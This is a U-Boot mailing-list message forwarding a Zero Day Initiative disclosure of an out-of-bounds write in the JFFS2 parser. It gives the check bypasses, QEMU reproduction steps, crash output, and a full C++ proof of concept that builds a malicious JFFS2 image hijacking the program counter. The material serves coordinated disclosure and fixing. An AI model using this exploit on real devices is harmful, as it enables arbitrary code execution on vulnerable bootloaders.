ZDI-CAN-24679: New Vulnerability Report
Tom Rini
trini at konsulko.com
Thu Nov 14 15:56:36 CET 2024
On Thu, Nov 14, 2024 at 04:02:29AM +0000, zdi-disclosures at trendmicro.com wrote:
> Hi,
> Do you have any updates to share regarding this vulnerability report?
Michal, microblaze-generic is the most active platform that enables
FS_JFFS2 by default and so vulnerable here. Can you find some resources
to look in to fixing this please? Thanks.
>
> Thanks,
> ZDI
>
> -----Original Message-----
> From: ZDI Disclosures Mailbox
> Sent: Thursday, July 18, 2024 4:05 PM
> To: 'u-boot at lists.denx.de' <u-boot at lists.denx.de>; 'trini at konsulko.com' <trini at konsulko.com>
> Subject: ZDI-CAN-24679: New Vulnerability Report
>
> ZDI-CAN-24679: Das U-Boot JFFS2 Image Handling Out-Of-Bounds Write Local Privilege Escalation Vulnerability
>
> -- CVSS -----------------------------------------
>
> 8.2: AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
>
> -- ABSTRACT -------------------------------------
>
> Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products:
> Das U-Boot - Das U-Boot
>
> -- VULNERABILITY DETAILS ------------------------
> * Version tested: 2024.07-rc4
> * Installer file: N/A
> * Platform tested: QEMU
>
> ---
>
> ### Analysis
>
> Das U-Boot versions from 2002_11_05_0120 to v2024.07-rc4 are vulnerable to an arbitrary code execution attack. This vulnerability exists due to an unchecked memcpy function used when processing a JFFS2 filesystem image. An attacker could exploit this by crafting a malicious JFFS2 image that tricks memcpy into overwriting memory at an arbitrary offset with malicious code. This could result in the attacker executing arbitrary code on the system or causing other memory corruption issues.
>
> The parsing of JFFS2 filesystem in Das U-Boot is handled by the `jffs2_1pass_read_inode()` function defined in `fs/jffs2/jffs2_1pass.c`. ( https://github.com/qemu/u-boot/blob/master/fs/jffs2/jffs2_1pass.c )
>
> At line 777 of this file, there is a statement for memory copy:
>
> ```
> ldr_memcpy(lDest, src, jNode->dsize);
> ```
>
> The first two arguments for memcpy are assigned as:
>
> At line 770: `lDest = (uchar *) (dest + jNode->offset);` At line 755 and 756: `src = ((uchar *)jNode) + sizeof(struct jffs2_raw_inode);`
>
> As shown above, the source, destination, and size of the memcpy are controlled by an attacker and its following content, and Das U-boot does not properly check these arguments.
>
> Although Das U-Boot does have some checks on the content of inodes, these checks can be easily bypassed:
>
> At line 758, it checks if `JNode->offset > totalSize`, but totalSize is assigned as totalSize = jNode->isize at line 714. Therefore, this check can be bypassed by setting `JNode->isize` to 0xFFFFFFFF.
>
> At lines 763, it also checks the CRC, but this check can be bypassed by setting both `JNode->csize` and `JNode->data_crc` to 0.
>
> ### Proof of Concept
>
> To prove the concept, we created a small program that generates a specially crafted JFFS2 filesystem image. We then used QEMU to demonstrate the potential risk of this vulnerability. The Das U-Boot, when reading the specially crafted filesystem image, writes content given by us to a memory location specified by us, causing the system to crash. We have tested this in Ubuntu 14.04. Follow the following instructions to set up the environment and conduct the PoC test.
>
> - Install QEMU for MINI2440:
>
> ```
> sudo apt-get install git git-core
> cd ~
> mkdir mini2440_qemu/
> cd mini2440_qemu
> git clone git://repo.or.cz/qemu/mini2440.git qemu cd qemu ./configure --target-list=arm-softmmu --prefix=$HOME/workspace/mini2440_qemu/qemu/mini2440
> make
> make install
> export PATH=$HOME/workspace/mini2440_qemu/qemu/mini2440/bin:$PATH
> git clone https://github.com/WeitaoZhu/mini2440-buildroot.git
> cd mini2440-buildroot
> make mini2440_defconfig
> make menuconfig
> ```
>
> - Modify Filesystem images to NAND flash with 512B Page and 16 kB erasesize
>
> ```
> make -j4
> cd ~
> git clone https://github.com/cailiwei/flashimg
> cd flashimg
> ./autogen.sh
> ./configure
> make
> cp ~/workspace/mini2440_qemu/mini2440-buildroot/output/images/u-boot.bin ~/flashimg
> g++ poc.cpp -o poc
> ./poc
> echo -e "root\t0x4000\t0x00000000">part.txt
> ./flashimg -s 64M -t nand -f nand.bin -p part.txt -w root,test -z 512 qemu-system-arm -M mini2440 -serial stdio -mtdblock nand.bin -usbdevice mouse ```
>
> - In QEMU, type the following commands:
>
> ```
> fsload
> ls
> go 0x32700000
> ```
>
> - The output should look like the following
>
> ```
> MINI2440 # fsload
> ### JFFS2 loading 'uImage' to 0x32000000 Scanning JFFS2 FS: . done.
> load: Failed to read inode
> ### JFFS2 LOAD ERROR<0> for uImage!
> MINI2440 # go 0x32700000
> ## Starting application at 0x32700000 ...
> qemu: fatal: Trying to execute code outside RAM or ROM at 0x12345678
>
> R00=00000001 R01=33d5fb70 R02=00000041 R03=00000006
> R04=33d5fb70 R05=00000002 R06=32700000 R07=00000000 R08=33d5ffdc R09=00000001 R10=00000000 R11=33d5fbfd
> R12=00000020 R13=33d5fb4c R14=33f8c4e8 R15=12345678
> PSR=600001d3 -ZC- A svc32
> Aborted (core dumped)
> ```
>
> Note: R15 is $pc and it has been modified to 0x12345678
>
> poc.cpp:
>
> ```c
> #include <stdio.h>
> #include <stdlib.h>
> #include <cstdint>
> #include <cstring>
> #include <string.h>
> #include <ctype.h>
> #include <sys/stat.h>
> using namespace std;
> #define JFFS2_MAGIC_BITMASK 0x1985
> #define JFFS2_NODE_ACCURATE 0x2000
> #define JFFS2_FEATURE_INCOMPAT 0xC000
> #define JFFS2_FEATURE_RWCOMPAT_DELETE 0x0000 #define JFFS2_NODETYPE_DIRENT (JFFS2_FEATURE_INCOMPAT | JFFS2_NODE_ACCURATE | 1) #define JFFS2_NODETYPE_INODE (JFFS2_FEATURE_INCOMPAT | JFFS2_NODE_ACCURATE | 2) #define JFFS2_NODETYPE_CLEANMARKER (JFFS2_FEATURE_RWCOMPAT_DELETE | JFFS2_NODE_ACCURATE | 3) enum
> {
> DT_UNKNOWN = 0,
> # define DT_UNKNOWN DT_UNKNOWN
> DT_FIFO = 1,
> # define DT_FIFO DT_FIFO
> DT_CHR = 2,
> # define DT_CHR DT_CHR
> DT_DIR = 4,
> # define DT_DIR DT_DIR
> DT_BLK = 6,
> # define DT_BLK DT_BLK
> DT_REG = 8,
> # define DT_REG DT_REG
> DT_LNK = 10,
> # define DT_LNK DT_LNK
> DT_SOCK = 12,
> # define DT_SOCK DT_SOCK
> DT_WHT = 14
> # define DT_WHT DT_WHT
> };
> uint32_t crc32(unsigned char* ptr,uint32_t Size) {
>
> uint32_t crcTable[256],crcTmp1;
> for (int i=0; i<256; i++)
> {
> crcTmp1 = i;
> for (int j=8; j>0; j--)
> {
> if (crcTmp1&1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;
> else crcTmp1 >>= 1;
> }
>
> crcTable[i] = crcTmp1;
> }
> int32_t crcTmp2= 0;
> while(Size--)
> {
> crcTmp2 = ((crcTmp2>>8) & 0x00FFFFFF) ^ crcTable[ (crcTmp2^(*ptr)) & 0xFF ];
> ptr++;
> }
> return (crcTmp2^0xFFFFFFFF)^0xFFFFFFFF; } struct Jffs2_unknown_node {
> int16_t magic;
> int16_t nodetype;
> int32_t totlen;
> int32_t hdr_crc;
> };
> struct Jffs2_raw_dirent
> {
> int16_t magic;
> int16_t nodetype;
> int32_t totlen;
> int32_t hdr_crc;
> int32_t pino;
> int32_t version;
> int32_t ino;
> int32_t mctime;
> int8_t nsize;
> int8_t type;
> int8_t unused[2];
> int32_t node_crc;
> int32_t name_crc;
> };
> struct Jffs2_raw_inode
> {
> int16_t magic;
> int16_t nodetype;
> int32_t totlen;
> int32_t hdr_crc;
> int32_t ino;
> int32_t version;
> int32_t mode;
> int16_t uid;
> int16_t gid;
> int32_t isize;
> int32_t atime;
> int32_t mtime;
> int32_t ctime;
> int32_t offset;
> int32_t csize;
> int32_t dsize;
> int8_t compr;
> int8_t usercompr;
> int16_t flags;
> int32_t data_crc;
> int32_t node_crc;
> };
> int main(void)
> {
> //PAYLOAD CONFIG
> char TARGET_FILENAME []= "uImage";
> uint32_t TARGET_OFFSET = 0x700000;
> uint32_t TARGET_LENGTH = 0x8;
> unsigned char PAYLOAD[]= "\x04\xf0\x1f\xe5\x78\x56\x34\x12"; //ldr $pc,0x12345678
> //
> FILE *fp = fopen("poc.jffs2","wb");
> uint16_t padding = 0xFFFF;
> Jffs2_unknown_node node;
> node.magic = JFFS2_MAGIC_BITMASK;
> node.nodetype = JFFS2_NODETYPE_CLEANMARKER;
> node.totlen = sizeof(node);
> node.hdr_crc = crc32((unsigned char*)&node,sizeof(Jffs2_unknown_node)-4);
> fwrite(&node,1,sizeof(node),fp);
> Jffs2_raw_dirent dirent;
> dirent.magic = JFFS2_MAGIC_BITMASK;
> dirent.nodetype = JFFS2_NODETYPE_DIRENT;
> dirent.totlen = sizeof(dirent)+strlen(TARGET_FILENAME);
> dirent.hdr_crc = crc32((unsigned char*)&dirent,sizeof(Jffs2_unknown_node)-4);
> dirent.pino = 1;
> dirent.version = 0;
> dirent.ino = 2;
> dirent.mctime = 0;
> dirent.nsize = strlen(TARGET_FILENAME);
> dirent.type = DT_REG;
> dirent.unused[0] = 0;
> dirent.unused[1] = 0;
> dirent.mctime = 0;
> dirent.node_crc = crc32((unsigned char*)&dirent,sizeof(Jffs2_raw_dirent)-8);
> dirent.name_crc = crc32((unsigned char*)TARGET_FILENAME,strlen(TARGET_FILENAME));
> fwrite(&dirent,1,sizeof(dirent),fp);
> fwrite(TARGET_FILENAME,1,strlen(TARGET_FILENAME),fp);
> fwrite(&padding,1,sizeof(padding),fp);
> Jffs2_raw_inode inode;
> inode.magic = JFFS2_MAGIC_BITMASK;
> inode.nodetype = JFFS2_NODETYPE_INODE;
> inode.totlen = sizeof(inode)+sizeof(PAYLOAD)-1;
> inode.hdr_crc = crc32((unsigned char*)&inode,sizeof(Jffs2_unknown_node)-4);
> inode.ino = 2;
> inode.version = 1;
> inode.mode = 0x81A4;
> inode.uid = 0;
> inode.gid = 0;
> inode.isize = 0xFFFFFFFF; //bypass size limit
> inode.atime = 0;
> inode.mtime = 0;
> inode.ctime = 0;
> inode.offset = TARGET_OFFSET;
> inode.csize = 0; //bypass crc32 check
> inode.dsize = TARGET_LENGTH;
> inode.compr = 0;
> inode.usercompr = 0;
> inode.flags = 0;
> inode.data_crc = 0; //bypass crc32 check
> inode.node_crc = crc32((unsigned char*)&inode,sizeof(Jffs2_raw_inode)-8);
> fwrite(&inode,1,sizeof(inode),fp);
> fwrite(&PAYLOAD,1,sizeof(PAYLOAD)-1,fp);
> fwrite(&padding,1,sizeof(padding),fp);
> fclose(fp);
> return 0;
> }
> ```
>
>
> -- CREDIT ---------------------------------------
> This vulnerability was discovered by:
> Aaron Luo and Spencer Hsieh of VicOne
>
> -- FURTHER DETAILS ------------------------------
>
> Supporting files:
>
>
> If supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number.
>
> Please confirm receipt of this report. We expect all vendors to remediate ZDI vulnerabilities within 120 days of the reported date. If you are ready to release a patch at any point leading up to the deadline, please coordinate with us so that we may release our advisory detailing the issue. If the 120-day deadline is reached and no patch has been made available we will release a limited public advisory with our own mitigations, so that the public can protect themselves in the absence of a patch. Please keep us updated regarding the status of this issue and feel free to contact us at any time:
>
> Zero Day Initiative
> zdi-disclosures at trendmicro.com
>
> The PGP key used for all ZDI vendor communications is available from:
>
> http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc
>
> -- INFORMATION ABOUT THE ZDI -------------------- Established by TippingPoint and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells vulnerability details nor exploit code. Instead, upon notifying the affected product vendor, the ZDI provides its Trend Micro TippingPoint customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available.
>
> Please contact us for further details or refer to:
>
> http://www.zerodayinitiative.com
>
> -- DISCLOSURE POLICY ----------------------------
>
> Our vulnerability disclosure policy is available online at:
>
> http://www.zerodayinitiative.com/advisories/disclosure_policy/
>
> TREND MICRO EMAIL NOTICE
>
> The information contained in this email and any attachments is confidential and may be subject to copyright or other intellectual property protection. If you are not the intended recipient, you are not authorized to use or disclose this information, and we request that you notify us by reply mail or telephone and delete the original message from your mail system.
>
> For details about what personal information we collect and why, please see our Privacy Notice on our website at: Read privacy policy<http://www.trendmicro.com/privacy>
--
Tom
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 659 bytes
Desc: not available
URL: <https://lists.denx.de/pipermail/u-boot/attachments/20241114/a7a158e2/attachment.sig>
More information about the U-Boot
mailing list